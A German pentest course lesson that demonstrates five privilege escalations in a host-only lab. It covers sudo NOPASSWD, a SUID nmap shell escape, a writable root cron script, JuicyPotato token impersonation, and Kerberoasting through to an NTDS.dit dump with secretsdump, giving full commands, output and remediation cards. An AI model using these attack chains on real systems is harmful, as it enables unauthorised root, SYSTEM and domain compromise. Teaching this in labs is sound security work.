Rechteausweitung — Geführte Demonstration
Fünf Eskalationen von Anfang bis Ende. Drei unter Linux (Metasploitable 2), zwei unter Windows (Metasploitable 3 + ein kleines AD-Lab). Jedes Mal: der Kontext, der Befehl, der Nachweis, der Bericht.
Alle VMs befinden sich im Host-only-Netzwerk. Kein Befehl verlässt das Lab.
Was Sie nach dieser Lektion können
- Fünf unterschiedliche Eskalationspfade erkennen und ausnutzen.
linpeas,winpeas,gtfobins,bloodhoundsauber einsetzen.- Ein Kerberos-TGS mit
hashcat -m 13100knacken. - Anmeldedaten im Speicher einer Windows-Maschine extrahieren.
- Einen im Bericht verwendbaren Eskalationsbefund schreiben.
Das Szenario
| Maschine | Rolle | IP |
|---|---|---|
| Kali | Angreifer | 10.10.10.5 |
| Metasploitable 2 (Linux) | Linux-Ziel, Sitzung msfadmin erlangt | 10.10.10.20 |
| Metasploitable 3 Win | Eigenständiges Windows-Ziel, Sitzung vagrant erlangt | 10.10.10.12 |
| DC AD-Lab | Domänencontroller acme.local | 10.10.10.100 |
| WS01 AD-Lab | Domänenmitglied-Windows-Rechner, Sitzung alice erlangt | 10.10.10.101 |
Das kleine AD-Lab baut man mit GOAD auf, oder mit einem einfachen Windows Server + Windows-10-Client. Wir kommen im Modul 10 darauf zurück.
Eskalation 1 (Linux) — sudo vim mit NOPASSWD
Sie haben eine msfadmin-Shell auf Metasploitable 2. Erste Frage:
sudo -l
Ausgabe:
User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL
Pädagogischer Volltreffer: msfadmin hat alle sudo-Rechte ohne Passwort. vim ist gar nicht nötig:
sudo bash
whoami
# root
Karteikarte:
## Eskalation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad: sudo -l zeigt "NOPASSWD: ALL" → sudo bash
- Auswirkung: vollständige Kompromittierung der Maschine
- Empfehlung: sudoers-Zeile entfernen, präzise Befehle festlegen
Eskalation 2 (Linux) — SUID auf nmap
Simulieren wir ein subtileres Szenario. Auf einer anderen VM hat msfadmin kein sudo. Er hat ein SUID-nmap:
find / -perm -4000 -type f 2>/dev/null | head
Ausgabe:
/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/nmap mit SUID root ist abnormal. Man schaut in GTFOBins nach → bei alten nmap-Versionen der interaktive Modus:
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
Root über nmap. Karteikarte:
## Eskalation 2 — SUID auf /usr/bin/nmap (interaktiver Modus)
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad: nmap --interactive → !sh → root-Shell
- Auswirkung: vollständige Kompromittierung
- Empfehlung: SUID entfernen (chmod u-s /usr/bin/nmap), gezielte Capabilities
verwenden, falls nmap ohne Rechte laufen muss
Eskalation 3 (Linux) — Cron mit relativem Pfad
Erstellen wir künstlich ein Szenario. Als root auf der VM, einmalig:
# Als root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- absichtlicher Fehler
# Cron-Datei
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup
Als msfadmin bemerkt man:
ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh
Das Skript gehört msfadmin, wird aber jede Minute von root ausgeführt. Man nutzt es aus:
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
Eine Minute warten:
sleep 65
/tmp/rootbash -p
whoami
# root
Karteikarte:
## Eskalation 3 — Cron mit vom Benutzer beschreibbarem Skript
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad:
1. cat /etc/cron.d/backup → Skript wird von root ausgeführt
2. ls -la /usr/local/bin/backup.sh → gehört msfadmin
3. Ersetzen des Skripts durch eine SUID-Payload
4. Nach einer Minute: /tmp/rootbash -p → root-Shell
- Auswirkung: vollständige Kompromittierung der Maschine, mit Persistenz
- Empfehlung: chown root:root für alle Skripte in root-Crons
Eskalation 4 (Windows) — WinPEAS und Token-Impersonation
Auf Metasploitable 3 Windows haben Sie eine vagrant-Sitzung in Meterpreter:
meterpreter > getuid
Server username: METASPLOITABLE3\vagrant
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege
SeImpersonatePrivilege = man kann ein Token stehlen. Das ist das Konto eines Dienstes oder eines historisch falsch konfigurierten Benutzers.
PrintSpoofer oder JuicyPotato verwenden, um zu SYSTEM zu wechseln:
meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant
C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system
[+] CreateProcessWithTokenW OK
Auf aktuellen Windows-10/11-Systemen verwendet man je nach Version PrintSpoofer oder RoguePotato.
Karteikarte:
## Eskalation 4 — Token-Impersonation über SeImpersonatePrivilege
- Ausgangskonto: METASPLOITABLE3\vagrant
- Endkonto: NT AUTHORITY\SYSTEM
- Pfad:
1. getprivs zeigt SeImpersonatePrivilege
2. Ausnutzung mit JuicyPotato/PrintSpoofer
3. SYSTEM-Shell
- Auswirkung: vollständige Kontrolle über das System, Hash-Extraktion möglich
- Empfehlung: Dienstkonten mit SeImpersonate minimieren,
Token-Erstellungen über WMI überwachen
Eskalation 5 (AD) — Kerberoasting von Anfang bis Ende
Sie haben die Sitzung alice auf WS01, einem Rechner, der der Domäne acme.local angehört. Ziel: zu Domain Admin gelangen.
5a. SPNs auflisten
Von Kali aus, mit Impacket:
impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt
Ausgabe:
ServicePrincipalName Name MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local
[*] Tickets writtes to preuves/tgs-tickets.txt
Zwei Dienstkonten mit SPN. Zwei erlangte Kerberos-Tickets.
Auszug aus der Datei:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...
5b. Knacken mit Hashcat
hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Nach ein paar Minuten:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!
Das Passwort des SQL-Dienstkontos in 3 Minuten.
5c. Übergang
Mit dem Passwort verbindet man sich:
impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local
SYSTEM-Shell auf sqlserver.acme.local.
Auf diesem Server, Meterpreter → BloodHound-Kollektor → man sieht:
svc_sqlist Mitglied vonBackup Operators.Backup Operatorskann jede Systemdatei lesen, einschließlichNTDS.ditauf dem DC.
Endgültiger Pfad:
# Vom SQL-Server aus wird ntdsutil verwendet, um NTDS.dit zu kopieren:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q
# Rückholung per SMB, Extraktion mit impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
Ausgabe:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::
Der Hash von krbtgt = Fähigkeit, ein Golden Ticket zu fälschen = dauerhafter Zugriff auf die Domäne.
5d. Karteikarte
## Eskalation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Ausgangskonto: ACME\alice (Standardbenutzer)
- Endkonto: Vollständige Kompromittierung (Hash von krbtgt)
- Pfad:
1. impacket-GetUserSPNs → 2 Dienstkonten mit SPN
2. hashcat -m 13100 → Passwort von svc_sql geknackt
3. psexec auf SQL-Server → lokales SYSTEM
4. BloodHound zeigt svc_sql ∈ Backup Operators
5. ntdsutil IFM auf DC → NTDS.dit + SYSTEM-Hive
6. secretsdump → Hash von krbtgt extrahiert
- Auswirkung: vollständige Kompromittierung der Domäne, Golden Ticket möglich
- Empfehlungen:
1. Passwort von svc_sql > 25 Zeichen (widersteht dem Knacken)
2. svc_sql aus der Gruppe Backup Operators entfernen
3. Alle Konten mit SPN prüfen, ihre Passwörter verlängern
4. Zu MSA (Managed Service Accounts) wechseln, die automatisch rotieren
Schritt 6 — BloodHound als Unterstützung
BloodHound macht Pfade wie den aus Schritt 5 sichtbar. Von Kali aus:
# Kollektor von WS01 aus mit den Zugangsdaten von alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound
# Import in Neo4j
neo4j start
bloodhound
# Die .json-Dateien per Drag & Drop in die Oberfläche ziehen
Vorgefertigte Abfrage: Shortest Paths to Domain Admins from Owned.
Man sieht den Pfad alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin in einem Graphen. Das zeigt man dem Kunden. Viel wirkungsvoller als eine Befehlsliste.
Schritt 7 — Die zusammenfassende Tabelle
| # | Ziel | Start | Ankunft | Pfad | Nachweis |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID auf nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | beschreibbares Cron-Skript | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Vollkompromittierung| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |
Fazit
In 90 Minuten:
- Fünf unterschiedliche Eskalationen, fünf unterschiedliche Wege.
- Fünf Nachweise in einem Ordner.
- Ein BloodHound-Graph, der die AD-Entdeckung visuell macht.
- Ein krbtgt-Hash — genug, um alle Teilabhilfen zu überstehen.
Das ist es, wofür ein Kunde bezahlt. Nicht die Scans. Nicht die CVEs. Die Pfade.
Nächste Lektion: an Sie. Drei Eskalationen, drei Wege, drei Karteikarten.